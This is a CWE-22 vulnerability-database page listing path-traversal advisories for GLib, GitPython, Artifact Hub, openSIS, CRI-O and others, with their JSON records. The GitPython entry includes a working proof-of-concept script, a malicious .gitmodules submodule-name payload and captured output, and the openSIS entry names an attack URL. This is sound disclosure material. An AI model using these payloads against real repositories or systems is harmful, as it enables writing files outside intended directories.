CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13571 vulnerabilities reference this CWE, most recent first.
GHSA-HMPF-72WC-2R6X
Vulnerability from github – Published: 2026-06-30 15:30 – Updated: 2026-08-03 06:31A flaw was found in GLib. The D-Bus client-side implementation of the DBUS_COOKIE_SHA1 SASL authentication mechanism does not validate the cookie_context parameter received from the server. A malicious D-Bus server can supply a cookie_context containing path traversal sequences, causing the client to read an arbitrary file and exfiltrate sensitive data by verifying guessed file contents against a generated hash.
{
"affected": [],
"aliases": [
"CVE-2026-58015"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T13:19:17Z",
"severity": "MODERATE"
},
"details": "A flaw was found in GLib. The D-Bus client-side implementation of the DBUS_COOKIE_SHA1 SASL authentication mechanism does not validate the cookie_context parameter received from the server. A malicious D-Bus server can supply a cookie_context containing path traversal sequences, causing the client to read an arbitrary file and exfiltrate sensitive data by verifying guessed file contents against a generated hash.",
"id": "GHSA-hmpf-72wc-2r6x",
"modified": "2026-08-03T06:31:42Z",
"published": "2026-06-30T15:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58015"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:49512"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-58015"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492256"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3931"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HMQ2-W58F-27JC
Vulnerability from github – Published: 2026-08-07 15:45 – Updated: 2026-08-07 15:45Summary
GitPython computes the on-disk location of a submodule's separate Git directory (.git/modules/<name>) from the submodule's .gitmodules section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. ../../../../home/victim/.something) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (submodule_update(init=True) / sm.update(init=True)), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.
Details
src/GitPython/git/objects/submodule/util.py sm_name() strips the submodule " / " wrapper from a .gitmodules [submodule "..."] header and returns the result unchecked. Submodule.iter_items() in src/GitPython/git/objects/submodule/base.py reads this via sm_name(sms) and assigns it to sm._name; unlike the submodule path, name is never used for a tree lookup, so it is never implicitly validated. Submodule._module_abspath() then builds osp.join(parent_repo.git_dir, "modules", name) - os.path.join does not normalize ../ sequences. Submodule._clone_repo() passes this value straight to os.makedirs() and to git clone --separate-git-dir=<module_abspath>, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.
PoC
- Environment: Docker image built
FROM python:3.11-slim, withgitinstalled viaapt-get install -y git(Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git2.34.1, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container viapip install /src/GitPythonfrom this repository's own source, which the advisory states resolved to the officially releasedGitPython==3.1.57andgitdb==4.0.12. - Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (
repo.submodules+sm.update(init=True), equivalent togit submodule update --init). - Commands run (quoted verbatim from the advisory's "Confirmed test run" section):
$ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc .
$ docker run --rm ghsa-gitpython-poc
(Per the Dockerfile, docker run executes /work/run_all.sh, which in turn runs build_attacker_repo.sh, then poc_gitpython.py, then poc_control_realgit.sh.)
4. Full source of the PoC script (GHSA/testing/poc_gitpython.py), verbatim:
"""GHSA-001 PoC: GitPython side.
Clones the attacker repo and runs the equivalent of
`git submodule update --init` via GitPython, then checks whether a git
repository was created outside the clone directory.
"""
import os
import shutil
import git
CLONE_DIR = '/work/victim_clone/repo'
ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root'
def main():
shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)
shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)
os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)
print(f'GitPython version: {git.__version__}')
repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR)
print('Cloned into:', repo.working_tree_dir)
sms = list(repo.submodules)
for sm in sms:
print(' submodule name:', repr(sm.name))
print(' submodule path:', repr(sm.path))
print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET))
for sm in sms:
try:
sm.update(init=True)
except Exception as e:
print('sm.update raised:', repr(e))
exists = os.path.exists(ESCAPE_TARGET)
print('escape_target exists after update:', exists)
if exists:
print('escape_target contents:', os.listdir(ESCAPE_TARGET))
print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE')
if __name__ == '__main__':
main()
- Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section):
=== GitPython PoC (vulnerable path) ===
GitPython version: 3.1.57
Cloned into: /work/victim_clone/repo
submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir'
submodule path: 'legit_dir'
escape_target exists before update: False
escape_target exists after update: True
escape_target contents: ['modules_dir']
POC_RESULT=VULNERABLE
=== Control: real git CLI on identical repo ===
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
warning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir
fatal: No url found for submodule path 'legit_dir' in .gitmodules
CONTROL_RESULT=SAFE (real git correctly refused)
- Payload: the attacker rewrites the
.gitmodulessection header from[submodule "legit_dir"]to[submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"](built bybuild_attacker_repo.sh, part of the harness inGHSA/testing/). The malicious part is the../../../../../../traversal sequence embedded in the submodule name (not the tree-validatedpath), which becomes the on-disk target for the submodule's separate git directory. - Expected vs. observed: A safe implementation (as demonstrated by the real
gitCLI control run) rejects the submodule name with "ignoring suspicious submodule name" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at/tmp/gitpython_poc_escaped_root/modules_dir, confirmed byescape_target exists after update: Trueand its listed contents. - Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled)
url.
Impact
Path traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.57"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-07T15:45:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nGitPython computes the on-disk location of a submodule\u0027s separate Git directory (`.git/modules/\u003cname\u003e`) from the submodule\u0027s `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython\u0027s independent reimplementation never adopted an equivalent check.\n\n### Details\n`src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule \"` / `\"` wrapper from a `.gitmodules` `[submodule \"...\"]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, \"modules\", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=\u003cmodule_abspath\u003e`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.\n\n### PoC\n1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as \"git 2.x\"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository\u0027s own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`.\n2. Configuration / preconditions: None beyond what\u0027s described - the victim must clone the attacker\u0027s repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`).\n3. Commands run (quoted verbatim from the advisory\u0027s \"Confirmed test run\" section):\n```bash\n$ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc .\n$ docker run --rm ghsa-gitpython-poc\n```\n(Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.)\n4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim:\n```python\n\"\"\"GHSA-001 PoC: GitPython side.\n\nClones the attacker repo and runs the equivalent of\n`git submodule update --init` via GitPython, then checks whether a git\nrepository was created outside the clone directory.\n\"\"\"\nimport os\nimport shutil\n\nimport git\n\nCLONE_DIR = \u0027/work/victim_clone/repo\u0027\nESCAPE_TARGET = \u0027/tmp/gitpython_poc_escaped_root\u0027\n\n\ndef main():\n shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)\n shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)\n os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)\n\n print(f\u0027GitPython version: {git.__version__}\u0027)\n repo = git.Repo.clone_from(\u0027/work/attacker_repo\u0027, CLONE_DIR)\n print(\u0027Cloned into:\u0027, repo.working_tree_dir)\n\n sms = list(repo.submodules)\n for sm in sms:\n print(\u0027 submodule name:\u0027, repr(sm.name))\n print(\u0027 submodule path:\u0027, repr(sm.path))\n\n print(\u0027escape_target exists before update:\u0027, os.path.exists(ESCAPE_TARGET))\n\n for sm in sms:\n try:\n sm.update(init=True)\n except Exception as e:\n print(\u0027sm.update raised:\u0027, repr(e))\n\n exists = os.path.exists(ESCAPE_TARGET)\n print(\u0027escape_target exists after update:\u0027, exists)\n if exists:\n print(\u0027escape_target contents:\u0027, os.listdir(ESCAPE_TARGET))\n\n print(\u0027POC_RESULT=VULNERABLE\u0027 if exists else \u0027POC_RESULT=SAFE\u0027)\n\n\nif __name__ == \u0027__main__\u0027:\n main()\n```\n5. Exact captured terminal output (verbatim, from the original advisory\u0027s \"Confirmed test run (Docker, released package)\" section):\n```\n=== GitPython PoC (vulnerable path) ===\nGitPython version: 3.1.57\nCloned into: /work/victim_clone/repo\n submodule name: \u0027../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\u0027\n submodule path: \u0027legit_dir\u0027\nescape_target exists before update: False\nescape_target exists after update: True\nescape_target contents: [\u0027modules_dir\u0027]\nPOC_RESULT=VULNERABLE\n\n=== Control: real git CLI on identical repo ===\nwarning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\nwarning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\nfatal: No url found for submodule path \u0027legit_dir\u0027 in .gitmodules\nCONTROL_RESULT=SAFE (real git correctly refused)\n```\n6. Payload: the attacker rewrites the `.gitmodules` section header from `[submodule \"legit_dir\"]` to `[submodule \"../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\"]` (built by `build_attacker_repo.sh`, part of the harness in `GHSA/testing/`). The malicious part is the `../../../../../../` traversal sequence embedded in the submodule *name* (not the tree-validated `path`), which becomes the on-disk target for the submodule\u0027s separate git directory.\n7. Expected vs. observed: A safe implementation (as demonstrated by the real `git` CLI control run) rejects the submodule name with \"ignoring suspicious submodule name\" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at `/tmp/gitpython_poc_escaped_root/modules_dir`, confirmed by `escape_target exists after update: True` and its listed contents.\n8. Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim\u0027s intended clone directory, populated with attacker-controlled content sourced from the submodule\u0027s own (also attacker-controlled) `url`.\n\n### Impact\nPath traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.",
"id": "GHSA-hmq2-w58f-27jc",
"modified": "2026-08-07T15:45:40Z",
"published": "2026-08-07T15:45:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2202"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython"
}
GHSA-HMQ4-C2R4-5Q8H
Vulnerability from github – Published: 2023-10-19 17:06 – Updated: 2023-10-19 19:35Impact
During a security audit of Artifact Hub's code base, a security researcher at OffSec identified a bug in which by using symbolic links in certain kinds of repositories loaded into Artifact Hub, it was possible to read internal files.
Artifact Hub indexes content from a variety of sources, including git repositories. When processing git based repositories, Artifact Hub clones the repository and, depending on the artifact kind, reads some files from it. During this process, in some cases, no validation was done to check if the file was a symbolic link. This made possible to read arbitrary files in the system, potentially leaking sensitive information.
Patches
This issue has been resolved in version 1.16.0.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/artifacthub/hub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-45823"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-19T17:06:42Z",
"nvd_published_at": "2023-10-19T21:15:09Z",
"severity": "HIGH"
},
"details": "### Impact\n\nDuring a security audit of Artifact Hub\u0027s code base, a security researcher at [OffSec](https://www.offsec.com/) identified a bug in which by using symbolic links in certain kinds of repositories loaded into Artifact Hub, it was possible to read internal files.\n\nArtifact Hub indexes content from a variety of sources, including git repositories. When processing git based repositories, Artifact Hub clones the repository and, depending on the artifact kind, reads some files from it. During this process, in some cases, no validation was done to check if the file was a symbolic link. This made possible to read arbitrary files in the system, potentially leaking sensitive information.\n\n### Patches\n\nThis issue has been resolved in version [1.16.0](https://artifacthub.io/packages/helm/artifact-hub/artifact-hub?modal=changelog\u0026version=1.16.0).",
"id": "GHSA-hmq4-c2r4-5q8h",
"modified": "2023-10-19T19:35:45Z",
"published": "2023-10-19T17:06:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/artifacthub/hub/security/advisories/GHSA-hmq4-c2r4-5q8h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45823"
},
{
"type": "WEB",
"url": "https://artifacthub.io/packages/helm/artifact-hub/artifact-hub?modal=changelog\u0026version=1.16.0"
},
{
"type": "PACKAGE",
"url": "https://github.com/artifacthub/hub"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Artifact Hub arbitrary file read vulnerability"
}
GHSA-HMQJ-GV2M-HQ55
Vulnerability from github – Published: 2023-10-26 20:47 – Updated: 2023-10-26 20:47There is a Directory Traversal Vulnerability in Form submission data management Feature to baserCMS.
This is a vulnerability that needs to be addressed when the management system is used by an unspecified number of users. If you are eligible, please update to the new version as soon as possible.
Target
baserCMS 4.7.8 and earlier versions
Vulnerability
There is a possibility that information on the server may be obtained by a user who is logged in to the management screen.
Countermeasures
Update to the latest version of baserCMS
Please refer to the following page to reference for more information. https://basercms.net/security/JVN_45547161
Credits
Shiga Takuma@BroadBand Security, Inc
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "baserproject/basercms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-43648"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-26T20:47:57Z",
"nvd_published_at": "2023-10-30T19:15:08Z",
"severity": "MODERATE"
},
"details": "There is a Directory Traversal Vulnerability in Form submission data management Feature to baserCMS.\n\nThis is a vulnerability that needs to be addressed when the management system is used by an unspecified number of users.\nIf you are eligible, please update to the new version as soon as possible.\n\n### Target\nbaserCMS 4.7.8 and earlier versions\n\n### Vulnerability\nThere is a possibility that information on the server may be obtained by a user who is logged in to the management screen.\n\n### Countermeasures\nUpdate to the latest version of baserCMS\n\nPlease refer to the following page to reference for more information.\nhttps://basercms.net/security/JVN_45547161\n\n### Credits\nShiga Takuma@BroadBand Security, Inc\n",
"id": "GHSA-hmqj-gv2m-hq55",
"modified": "2023-10-26T20:47:57Z",
"published": "2023-10-26T20:47:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-hmqj-gv2m-hq55"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43648"
},
{
"type": "WEB",
"url": "https://github.com/baserproject/basercms/commit/7555a5cf0006755dc0223fffc2d882b50a97758b"
},
{
"type": "WEB",
"url": "https://basercms.net/security/JVN_81174674"
},
{
"type": "PACKAGE",
"url": "https://github.com/baserproject/basercms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "baserCMS Directory Traversal vulnerability in Form submission data management Feature"
}
GHSA-HMRQ-3HG5-2M7X
Vulnerability from github – Published: 2025-04-03 15:31 – Updated: 2025-04-21 21:30An issue in OS4ED openSIS v8.0 through v9.1 allows attackers to execute a directory traversal by sending a crafted POST request to /Modules.php?modname=messaging/Inbox.php&modfunc=save&filename.
{
"affected": [],
"aliases": [
"CVE-2025-22927"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-03T13:15:42Z",
"severity": "CRITICAL"
},
"details": "An issue in OS4ED openSIS v8.0 through v9.1 allows attackers to execute a directory traversal by sending a crafted POST request to /Modules.php?modname=messaging/Inbox.php\u0026modfunc=save\u0026filename.",
"id": "GHSA-hmrq-3hg5-2m7x",
"modified": "2025-04-21T21:30:26Z",
"published": "2025-04-03T15:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22927"
},
{
"type": "WEB",
"url": "https://github.com/OS4ED/openSIS-Classic"
},
{
"type": "WEB",
"url": "https://github.com/esusalla/vulnerability-research/tree/main/CVE-2025-22927"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HMVP-8RPC-GR57
Vulnerability from github – Published: 2022-05-13 01:03 – Updated: 2022-05-13 01:03soffice in OpenOffice.org (OOo) 3.x before 3.3 places a zero-length directory name in the LD_LIBRARY_PATH, which allows local users to gain privileges via a Trojan horse shared library in the current working directory.
{
"affected": [],
"aliases": [
"CVE-2010-3689"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-01-28T22:00:00Z",
"severity": "MODERATE"
},
"details": "soffice in OpenOffice.org (OOo) 3.x before 3.3 places a zero-length directory name in the LD_LIBRARY_PATH, which allows local users to gain privileges via a Trojan horse shared library in the current working directory.",
"id": "GHSA-hmvp-8rpc-gr57",
"modified": "2022-05-13T01:03:56Z",
"published": "2022-05-13T01:03:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-3689"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=641224"
},
{
"type": "WEB",
"url": "http://osvdb.org/70716"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/40775"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/42999"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/43065"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/43105"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/60799"
},
{
"type": "WEB",
"url": "http://ubuntu.com/usn/usn-1056-1"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2011/dsa-2151"
},
{
"type": "WEB",
"url": "http://www.gentoo.org/security/en/glsa/glsa-201408-19.xml"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2011:027"
},
{
"type": "WEB",
"url": "http://www.openoffice.org/security/cves/CVE-2010-3689.html"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/topics/security/cpuapr2011-301950.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2011-0182.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/46031"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1025004"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0230"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0232"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0279"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HP2P-9HX2-9XJF
Vulnerability from github – Published: 2024-01-15 03:30 – Updated: 2024-01-15 03:30NetVision
Information
airPASS has a path traversal vulnerability within its parameter in a specific URL. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and download arbitrary system files.
{
"affected": [],
"aliases": [
"CVE-2023-48383"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-15T03:15:07Z",
"severity": "HIGH"
},
"details": "NetVision\n\nInformation \n\n airPASS has a path traversal vulnerability within its parameter in a specific URL. An unauthenticated remote attacker can exploit this vulnerability to bypass authentication and download arbitrary system files.",
"id": "GHSA-hp2p-9hx2-9xjf",
"modified": "2024-01-15T03:30:34Z",
"published": "2024-01-15T03:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48383"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-7631-c6be3-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HP2P-H743-JHV4
Vulnerability from github – Published: 2026-06-18 15:32 – Updated: 2026-06-18 15:32SEPPmail versions before 15.0.5 allow improper handling of attachment filenames during encrypted PDF generation. An attacker can exploit this to create new files outside the intended directory, potentially placing files in web-accessible locations.
{
"affected": [],
"aliases": [
"CVE-2026-8811"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-18T13:25:46Z",
"severity": "HIGH"
},
"details": "SEPPmail versions before 15.0.5 allow improper handling of attachment filenames during encrypted PDF generation. An attacker can exploit this to create new files outside the intended directory, potentially placing files in web-accessible locations.",
"id": "GHSA-hp2p-h743-jhv4",
"modified": "2026-06-18T15:32:01Z",
"published": "2026-06-18T15:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8811"
},
{
"type": "WEB",
"url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#possible-path-traversal-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HP47-GP47-6W8J
Vulnerability from github – Published: 2022-05-02 03:14 – Updated: 2022-05-02 03:14Directory traversal vulnerability in fc.php in OpenX 2.6.3 allows remote attackers to include and execute arbitrary files via a .. (dot dot) in the MAX_type parameter.
{
"affected": [],
"aliases": [
"CVE-2009-0291"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-01-27T20:30:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in fc.php in OpenX 2.6.3 allows remote attackers to include and execute arbitrary files via a .. (dot dot) in the MAX_type parameter.",
"id": "GHSA-hp47-gp47-6w8j",
"modified": "2022-05-02T03:14:08Z",
"published": "2022-05-02T03:14:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0291"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7883"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/500411/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/33458"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HP5J-2585-QX6G
Vulnerability from github – Published: 2025-01-28 12:31 – Updated: 2025-02-11 12:30A vulnerability was found in CRI-O. A path traversal issue in the log management functions (UnMountPodLogs and LinkContainerLogs) may allow an attacker with permissions to create and delete Pods to unmount arbitrary host paths, leading to node-level denial of service by unmounting critical system directories.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cri-o/cri-o"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.33.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-0750"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-28T19:15:28Z",
"nvd_published_at": "2025-01-28T10:15:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in CRI-O. A path traversal issue in the log management functions (UnMountPodLogs and LinkContainerLogs) may allow an attacker with permissions to create and delete Pods to unmount arbitrary host paths, leading to node-level denial of service by unmounting critical system directories.",
"id": "GHSA-hp5j-2585-qx6g",
"modified": "2025-02-11T12:30:53Z",
"published": "2025-01-28T12:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0750"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:1122"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-0750"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2339405"
},
{
"type": "PACKAGE",
"url": "https://github.com/cri-o/cri-o"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "CRI-O Path Traversal vulnerability"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
